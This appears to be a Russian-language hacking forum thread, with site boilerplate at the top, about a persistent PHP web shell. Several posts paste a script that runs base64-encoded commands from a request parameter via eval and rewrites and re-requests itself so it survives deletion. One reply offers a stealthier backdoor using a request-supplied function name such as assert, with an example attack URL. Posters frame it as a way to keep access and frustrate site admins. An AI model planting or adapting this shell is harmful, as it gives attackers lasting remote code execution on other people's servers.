Follow along with the video below to see how to install our site as a web app on your home screen.
Примечание: This feature may not be available in some browsers.
<?php
error_reporting(0);
ignore_user_abort(1);
$name = basename(__FILE__);
$a = file_get_contents("$name");
$url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
if ( isset($_REQUEST[cmd]) ) {
eval(base64_decode($_REQUEST[cmd]));
exit();
}
for($i=0;$i<=3;$i++) {
if( $i == "1" ) {
file_put_contents("$name",$a);
sleep(10);
}elseif($i == "2"){
file_put_contents("$name",$a);
sleep(10);
}elseif($i == "3"){
sleep(10);
file_put_contents("$name",$a);
$cur=curl_init();
curl_setopt($cur, CURLOPT_URL, "$url");
curl_setopt($cur, CURLOPT_TIMEOUT, 15);
curl_setopt($cur,CURLOPT_RETURNTRANSFER,1);
curl_exec($cur);
curl_close($cur);
exit();
}
}
?>
можно же просто использщовать php скрипт который будет загружать файл. при необходимости зашел. закачал шелл или ещё что иное, переложил в папку по дальше и вперед. потом удалил и так до следующего случая. никаких eval, gzinflate, base64 и прочих...
eval тут лишний - по нему файл в два счёта обнаружат.1 раз стоит запустить этот скрипт и он будет автоматом себя обновлять в случае удаления и запускать чтобы работать вечно, собственно вот код .
вставляем код в файл, запусаем и всё, вечный мини шелл готов, пусть админ теперь побегает))
По общей сложности окончательно удалить файл можно после последней записи, но с другой стороны sleep это системная функция и время на вызов и отработку системных функций не учитывается и она может быть хоть 3600, time_limit только для пользовательского кода, внутренние функции не учитываются.1 раз стоит запустить этот скрипт и он будет автоматом себя обновлять в случае удаления и запускать чтобы работать вечно, собственно вот код .
PHP:<?php error_reporting(0); ignore_user_abort(1); $name = basename(__FILE__); $a = file_get_contents("$name"); $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if ( isset($_REQUEST[cmd]) ) { eval(base64_decode($_REQUEST[cmd])); exit(); } for($i=0;$i<=3;$i++) { if( $i == "1" ) { file_put_contents("$name",$a); sleep(10); }elseif($i == "2"){ file_put_contents("$name",$a); sleep(10); }elseif($i == "3"){ sleep(10); file_put_contents("$name",$a); $cur=curl_init(); curl_setopt($cur, CURLOPT_URL, "$url"); curl_setopt($cur, CURLOPT_TIMEOUT, 15); curl_setopt($cur,CURLOPT_RETURNTRANSFER,1); curl_exec($cur); curl_close($cur); exit(); } } ?>
вставляем код в файл, запусаем и всё, вечный мини шелл готов, пусть админ теперь побегает))
если нужно будет залить полноценный шелл то пожалуйста, приписываем Для просмотра ссылки Войдиили Зарегистрируйся вечного шелла.php?cmd=код для загрузки шелла в base64
$_REQUEST["key"]($_REQUEST["salt"]);
http://mysite/myshellpage.php?key=assert&salt=eval(base64_decode($_REQUEST["code"]));&code=cHJpbnQoIkl0cyBNeSBTaGVsbCIpOw
Я не пытаюсь кого то обидеть, но этому коду месте на говнокоде ОоPHP:<?php error_reporting(0); ignore_user_abort(1); $name = basename(__FILE__); $a = file_get_contents("$name"); $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if ( isset($_REQUEST[cmd]) ) { eval(base64_decode($_REQUEST[cmd])); exit(); } for($i=0;$i<=3;$i++) { if( $i == "1" ) { file_put_contents("$name",$a); sleep(10); }elseif($i == "2"){ file_put_contents("$name",$a); sleep(10); }elseif($i == "3"){ sleep(10); file_put_contents("$name",$a); $cur=curl_init(); curl_setopt($cur, CURLOPT_URL, "$url"); curl_setopt($cur, CURLOPT_TIMEOUT, 15); curl_setopt($cur,CURLOPT_RETURNTRANSFER,1); curl_exec($cur); curl_close($cur); exit(); } } ?>
Этот и другие гораздо более продвинутые методы есть на хабре.Держи решение, но его сложно обнаружить
Я не пытаюсь кого то обидеть, но этому коду месте на говнокоде Оо
А практического толка от него никакого, в логах будет просто уйма запросов к нему, только слепой не увидит